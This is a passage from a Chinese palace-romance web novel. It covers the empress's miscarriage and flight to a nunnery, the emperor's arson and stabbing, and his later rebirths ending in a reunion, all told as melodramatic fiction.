是两只相互依偎的小动物。 云窈感受着齐拂己的变化,两排牙齿悄悄在唇后咬紧。 “陛下,娘娘,该用膳了。”大安在门外禀奏。 齐拂己一启唇,气全扑在云窈脸上:“饿了没?想现在吃吗?” “嗯。”云窈跟刚才一样回。齐拂己将她搂紧,冲门外道:“进来。” 众宫人进殿布菜,吃的时候齐拂己依旧盯云窈比盯菜多,吃完照例帝后携手,漫步消食。 今日这天极好,日光高悬却也有微风,阳光不热风不冷,走着能一路闻见青草香。 自从上回云窈跌跤后,齐拂己都会十指紧扣牵着她走,防止那样的事再发生, 没想到太后也来御花园散心,众人在一排蔷薇旁相遇。 云窈发现太后比上回见时,年轻太多,她好像已经完全从先帝逝去的悲哀里走出来,容光焕发。 云窈低头,她自己反而有些憔悴,虽然腹中孕育了新生命,人人都道她得君王独宠,羡慕她的福气,她却觉得心被掏空了,似行尸走肉。 “母后。”齐拂己向太后行礼。 云窈亦屈膝,恭敬道:“参见太后娘娘。” 她还没改口母后呢,这日子仍有变数,太后在心底笑,嘴上却关切云窈,详细过问她每日情况,又道:“日子过得真快,一晃眼你俩都做爹娘了。” 齐拂己漾笑:“母后也快要抱孙。” 太后跟着笑出声,看起来很是高兴。云窈偷窥她的神采奕奕,心想自己如果一直在宫中煎熬,最后到头,最好的情形是不是就是太后这样? 她想了又想,掂量再掂量,还是不行,太后是天家人,生长在宫中,她不是。 这日就寝,半夜下起雨。 雨滴打着窗楹,动静颇大,齐拂己很担心云窈被嘲笑,但听呼吸,始终均匀。 倒是他早晨起来穿袍子时,云窈的呼吸起了变化。 齐拂己笑:“醒了?” 云窈这才转身,面朝齐拂己。 齐拂己见被子滑落,伸手帮她掖好,云窈却手撑着坐起,被子反而完全滑落。齐拂己笑问:“不再睡会?” 云窈摇头:“睡不着了。” 齐拂己不忤逆她,去取架上的裙衫,一样样递给云窈。云窈接过穿好,发现齐拂己忙着照顾她,自己的龙袍一直敞着开系,她上前帮他拉紧,打结。 齐拂己骤僵,整个人处在强烈的愣怔中。 她竟然、竟然帮他穿衣……他这辈子没敢奢想这件事,甚至认命只有自己服侍云窈的份。 齐拂己身子抖起来,云窈见状,仰头冲他一笑,取来玉带,两只胳膊绕过齐拂己腰间时,他浑身的鸡皮疙瘩都起来,随着一声咔声,玉带扣紧,他觉得自己的一颗心也踏实落地了。 云窈眺了眼窗外,再瞥齐拂己:“外头下了一夜雨,,虽说开春了,但还是小心些,别受寒。” 齐拂己抬手抚上云窈脸颊,目光激动得在她脸上晃来晃去,她怎么对他这么好?他终于守得云开见月明了吗? 他哽咽半晌,才能说话:“朕去上朝了。” 云窈点头。 齐拂己看云窈,又匆匆瞟向她的肚子,向娘俩道别:“我去去就回。” 一时朕都忘记自称。 等出了殿,下过雨的地面依旧湿漉,齐拂己却觉清风送爽,狠狠吸了口空气,笑就没脸上下来过。 连朝臣们也觉得今日的君王心情甚好,对谁都一脸笑意,有时候和朝臣对视久了,甚至能令朝臣生出一种“陛下要提拔我”的错觉。 齐拂己散朝出殿,都没留意有个寝殿的小宫人在门边打转,徘徊。 还是小宫人主动找上他:“陛下,皇后娘娘,皇后娘娘。” 她语无伦次,齐拂己却察觉宫人旁边还跟着位太医,倏地蹙眉。 “娘娘她——”宫人还是说不清楚,齐拂己不由急道:“她怎么了?说啊!” “娘娘小产了!”宫人瑟瑟发抖地述说云窈下台阶时跌坐地上,流一地血,子嗣不保。 天地皆在齐拂己眼前转起来,红墙黄瓦的宫殿也跟着旋转、颠倒,他手控制不住颤抖,还好现在手上没有握有物拾,不然根本拿不动。 他大步走向寝殿,一边走一边想,一切皆是虚妄,她对他的好永远是假的,没有真。和她之前假惺惺的眼泪一样,是骗术,障眼法,是摸透以后,专门蒙蔽他的。 她每回给他一颗糖,后面就跟着锤头、刀子,剖心挖肝,前面越甜,后面越苦。 齐拂己手抖得几成虚影,脚也发软,步子却越来越快,最后成跑。他上殿前台阶时差点摔一跤,大安急忙伸手:“陛下当心!” 没扶到齐拂己,皇帝手脚并用往前爬了两步,跌进殿内。大安是跟皇帝同时知道的小心,心惊胆战甚至有五、六分懵,至今缓不过神。 齐拂己进门望见跪拜的太医,又好像什么东西都瞧不见,床上躺着的窈窕身影冷冰冰,他嘴唇张合:“皇后身体如何?” 太医回报了尚需调养,但无性命之忧后,齐拂己低沉下令:“退下!” 太医、宫人、内侍,统统屏退,连殿外也不许守,全部撤走。因为他想砸东西,披头散发疯一场。 砸烂这寝殿,当博古架推倒,玉瓶珊瑚在她脚下粉身碎骨,她会不会从床上坐起,回答他为什么要流掉孩子? 他最终只是设想,什么也没做,走到床前:“你怎么可以、怎么可以……” 云窈缓缓转身,并不畏惧他的目光。 四目相对,齐拂己一手扪心,一手振臂,眼泪在眶中打转:“他是我们的孩子呀!” 他恨不得给她下跪,却又咬紧牙关,告诫自己——他是天子,天子不可以跪。 云窈面上没什么表情,不紧不慢回他:“你我服食了那么多夜夜娇,这孩子就算生下来也不行的。” 呵——齐拂己苦笑一声,还说,他们用了那么久夜夜娇孩子都没掉,说明这孩子是注定来到世上的啊。 是老天看见他的努力,体谅他的苦衷,恩赐予他的。 她却,她却…… 那么多夜都没掉,怎么可能跌一跤就没了? 她就是故意的,她好狠的心! 对她自个的身子也狠,流了一地的血,那得多伤心。 齐拂己发现自己有够贱,到了这个时候,竟然还担心云窈身体。 又想,明明他早上走的时候,一切都还好好的。这才几个时辰?怎么会这样、怎么会这样…… 他脑子里不断重复呢喃,本来担心云窈身体,是要亲自搭脉的,但是他太伤心,真的太伤心,没力气了,既然太医已经看过,那就如太医所言吧。 他扶着桌前坐下,始终挺拔的背渐渐变得佝偻。 少顷,齐拂己发现自己哭了,泪一颗又一颗砸在手背上,任谁看了都觉得砸在心上,却打动不了她的心。 齐拂己忽然察觉到身边有人,低头隔着一看,竟是云窈不知何时蹲在他脚边。 她好像也哭了,泪眼朦胧。 齐拂己怕她跪地请罪,第一反应竟想抬手扶起她,又觉可笑,她怎么会觉得自己有错呢? 他懒得管的,望向别处,吸吸鼻子,忽然整个人定住。 云窈再一次点了他的哑穴和定穴! 而他,竟也再一次让她得手了! 云窈又开始在他身上摸找令牌,齐拂己纹丝不动,心头却笑得荒诞,眼泪不能被定住,流得更凶。 云窈找到自己要的令牌后,没有望齐拂己一眼,就匆匆离开寝殿。 她自有办法,神不知鬼不觉溜出宫。 水归大海再难寻? 不,他会找到她,齐拂己不能动弹时,心也跟身体一样,渐渐坚如石塑。 * 云窈这次没有出京。 她刚流产,身体无法支撑远行,且流掉腹中胎儿,她也难过、心痛,自觉罪孽深重。 于是坚定地照着之前想好的,换了寻常妇人装扮后,就到京中比丘尼庵堂出家。 京中一共有四所尼寺,云窈没有刻意挑选,打算挨个登门,哪座尼姑庵收留她,她就在哪里剃发。 第一座庵堂的师父在听完云窈来意后,合十发问:“阿弥陀佛,施主缘何生了这了断红尘的念头?” 云窈方才已经称述过一遍,恭敬重复:“弟子绝夫绝子,对凡尘俗世已无半点眷恋。” “阿弥陀佛。” 出乎意料,方丈居然允了她。 请师、问遮难、羯磨、开导,因为没有辞亲,径直到剃度,那戒刀一寸寸剃去烦恼丝,外面突然火光冲天。 “是走水了吗?”有比丘尼问。 很快得到答案:“是有人故意纵火!” “那块报官呐!” “就是官兵纵的火!”满脸烟灰的小尼姑瞅着云窈泣道,“庵外的施主说,如果这位师妹不出去见他,他就会一直放火烧!” 云窈闻言,首先看向主持,主持却继续剃度,剃刀没有丝毫抖动。云窈便也沉下心,而后授衣、回向,才出去。 庵堂外已经全是火,炙热滚烫,物拾在烈焰中扭曲,有许多比丘尼和百姓的哭喊,她往前走,听见齐拂己在下令:“不许救火!不在就继续找,继续烧。不在京中,就往天下寻。朕烧尽天下尼寺,掘地三尺,不信逼不出她!” 云窈坚定得再迈一步,走向火堆,也走向他。 站在火堆旁的齐拂己回身,四目对上,他瞧见她现在的模样,双肩一颤:她还没有做回向,还来得及吧? 云窈眸子里也映着两堆跃动的火,火中是他,因为强行冲穴,唇角仍挂着未擦干净的血,他双目通红,面目狠戾。云窈脑海中突然冒出从前在佛堂见齐拂己的模样,是那样宁静祥和,同她讲法,佛珠轻捻,是出水面一尘不染的青莲。 佛子的模样似雾般散去,现出眼下的齐拂己,和身后的火堆既融一体,扭曲、狰狞。 不是佛,是魔啊。 云窈有一霎想跪地央求他放过她,但最终只是双手合十,平静念道:“阿弥陀佛、善哉善哉。” 齐拂己手抖得不行,或者说失去孩子那一刻起他就一直在抖,没有停歇。他明白她的意思,她已放下,而他呢?还没有吗? 起了劲风,将火刮得愈旺,热浪铺面,齐拂己在同云窈良久的凝视中,悠悠忆起从前虔诚铭记的经文。 菩萨说,世世常行菩萨道。 佛说,放下屠刀立地成佛。 “这儿怎么这么大烟雾?”齐拂己听见清脆童声转身,见一十来岁上下女童站在不远处问。她眸光清澈,和她的声音一样干净。 “咳咳!”女童被烟雾呛到,剧烈咳嗽。齐拂己似蓦然惊醒般,命令官兵灭火。自己蹲下来查看女童是否受伤,他手足无措地安慰她:“没事了马上就没烟了,我已经叫他们灭火了。” “谢谢大善人。”女童笑道。 齐拂己怔了下,他是善人吗? “请问哪里能抄经?”女童已经继续发问:“我娘病了,我想替她抄一份,希望她能早点好起来。” 齐拂己微笑:“那你以前有没有抄过?还是头回抄?” “是第一回抄!” “那要先描佛,”齐拂己依旧蹲着,看着女童的眼睛解释,“因为先有经后有佛。” “好。” 他将女童领到经堂门口,自己没有进去,他已无资格踏足。 他注视着女童的背影,一会想自己也曾有机会拥有这样一位女儿,一会又想云窈当年为她娘亲祈福,是不是也是这样。忽觉背后一痛,缓缓扭头,瞧见云窈右手紧紧攥着剃刀刀柄,而那缝里的刀刃插在他的左肩上。 他晃了晃身,单膝跪下。 云窈拔出剃刀,似还要往他心口捅,佛可以原谅放下屠刀的众生,但屠刀下的亡魂不能原谅。 在齐拂己闭眼刹那,闪现一道白光。 【全文完结】 第64章 第六十四章 轮回 这光太亮,他虽然闭了眼,仍不自觉抬手遮挡。虽然闭着眼,却能觉光亮渐渐散去,不那么刺激…… 齐拂己戒备地睁开眼,发现自己身处一间厢房,蒲团、卧榻,因为太久没来显得陌生,过了会他才反应过来,这是水月寺的禅房。 齐拂己静默伫立,而后环视一圈,才推门出禅房。 大安在外头忙活,听见响动,回头笑道:“世子,您醒了?” 大安怎么唤他世子?齐拂己眨了下眼,心也跟着慢跳一拍。 他缓缓走近发问:“眼下是哪一年?” 大安蹙眉,世子好奇怪,怎么问这个?但还是如实答:“云嘉三十一年。” 齐拂己心跳如鼓,这是前朝的旧年号,这一年云窈离杭上京。他走向晒竿,上头有他的袍子,还有一只琴套。齐拂己牵起琴套,手有点抖,气息也不稳:“怎么晒这个?” 大安跟着走过来,笑道:“世子你昨夜雨中奏琴,这琴套全湿了,小的就把它洗了晒一晒。” 齐拂己喉头滑动:“我在哪里弹琴?” 大安愣了下,觉得世子的声音隐隐有两分颤抖,是自己听错了吗? 大安不解道:“竹林呀,世子您忘记了吗?当时还有一琴与您合奏……”大安后面本来要说“伯牙子期,十分精彩”,可还未讲齐拂己就掉头急走,大安丈二和尚摸不着头脑:“唉世子,你去哪呀?” 齐拂己走改做跑,老天还是眷顾他的,他回到了和云窈初见的时候。他朝后山女客的禅房狂奔,一步跨两个石阶,本来已经上到坡顶,却不知怎地,脚下不受控制,骤地踏空。 齐拂己从坡顶滚下,坡并不抖,身子却像被无形的劲掌逼迫,在阶上翻滚如浪,一连串磕碰声,齐拂己浑身散架,自然剧痛,纵使既忍耐也咬起牙 他来不及呼叫就直滚到底,后脑勺着地,睁眼断气时,眼前再次闪现强烈白光。 白光渐逝,齐拂己耳畔的车轱辘响越来越清晰。 他睁眼,自己正坐在一辆马车中。 这回比上回反应快,马上辨出这是国公府的马车,他做世子时用的! 齐拂己二话不说推开窗,远处青山环绕,近处古道,皆只瞧着大概轮廓。 自己眼睛怎么了? 齐拂己恍惚须臾,但能确定这马车正驶向水月寺。 他往前推开车门,驾车的果然是大安。 大安扭头:“世子怎么了?” 齐拂己抿唇不语,发现自己要眯起眼,大安的五官才变清晰。 “今年是几年?”他问。 “什么?”大安没懂。 “年号。” “云嘉三十一年,世子您问这做什么?” 齐拂己垂眼,果然,又回到这一年,他启唇还想再问,胸腹里却奇痒难耐,剧烈咳嗽。大安忙道:“世子您小心些,待会到了寺里马上给您煎药。” 说着要扬鞭策马,齐拂己却一把抓住大安手腕:“我害了什么病?” 大安先愣,而后告诉齐拂己他打小身子就不好,这趟是来佛寺寄身,祈求好转。 齐拂己心缓缓下沉:“那二弟呢?” 大安支吾了会,才说齐拂意比齐拂己身体好点。 “世子您别忧虑,您也会很快好起来的!”大安旋即安慰。 等齐拂己下车后,一颗心彻底沉到底——这一世他是跛足。 他明白了,第一世他是张宗云,第二世是齐拂意,他要把债都还完。 到禅房后,齐拂己取了一沓银票,要大安拿回京捐给尼寺,用于修缮。 他这一世一直待在水月寺,云窈没有来,他派人去杭州打听过,她父母过世后就留在本地,没有上京。 齐拂己也没有去杭州看她,他在水月寺落发,一生苦修,做了许多好事,世人皆赞他是活佛子,可惜好人不偿命,三十而亡。 白光再次闪现。 齐拂己这回没有坐车,骑着马,青山幽翠,前方的水月寺可以清晰眺见——他的视力重新回来了。 齐拂己打马经过水月寺,没有入山门,大安不由高声呼喊:“世子,您不是要去……” 不是要去水月寺出家吗? “现在是不是嘉元三十一年?”齐拂己打断。 “是啊!”大安都没细想齐拂己为什么问这句话,忙不迭提醒,“世子您已经走过了!” 齐拂己扭身:“谁说我要去水月寺了?” “那您要去哪?”大安旋即追问,出家是世子自己的决定啊! 齐拂己一笑,语气和身子同时轻快起来:“去杭州!” 他打马往前走,不到一刻钟,遇见一辆马车迎面驶来。驾车的老翁停车招手,齐拂己便也勒缰驻足。 老翁向他打听此处距离京城还有多远?山上可有借宿? 齐拂己一面答着一面看向车窗,窗户被一只纤纤玉手推开,云窈露出半个脑袋偷瞧,睹见齐拂己面貌,原本移动的目光就定住,呆呆瞧他。 齐拂己也贪婪凝视着她。 云窈脸红,仓促低头。他突然在这一刻福至心灵,原来从前国公府中,水月寺里,她心里也是有他的。 像一滴水坠入湖中,起了涟漪,又化作山泉叮咚。 齐拂己答完老翁的话,看着云窈发问:“姑娘要去哪里?” 云窈低头咬唇,片刻,轻回:“我要去京城的魏国公府。” 齐拂己朝她拱了拱手:“天下无巧不成书,我乃魏国公世子,正好要回府,与姑娘同路。” “世子您——”大安的话说半截急止,那一句不是要去杭州咽回腹中。云窈则脸更好,没有回答齐拂己,就失礼地关上车窗,再瞧不见。 齐拂己打马调头,在前面引路,他并没有刻意与云窈所处的车厢并排,从前是他做错,这一世会敬她爱她,绝不辱她欺她,恃强凌弱。 两马一车,悠悠下山。 半山腰闻黄莺轻啼,云窈缓缓推开窗,轻唤:“大公子。” 这一声他等了多久,齐拂己眼眶一热,差点溢出泪来。他回首望去,云窈手扣着窗沿,冲他一笑:“多谢。” 全文完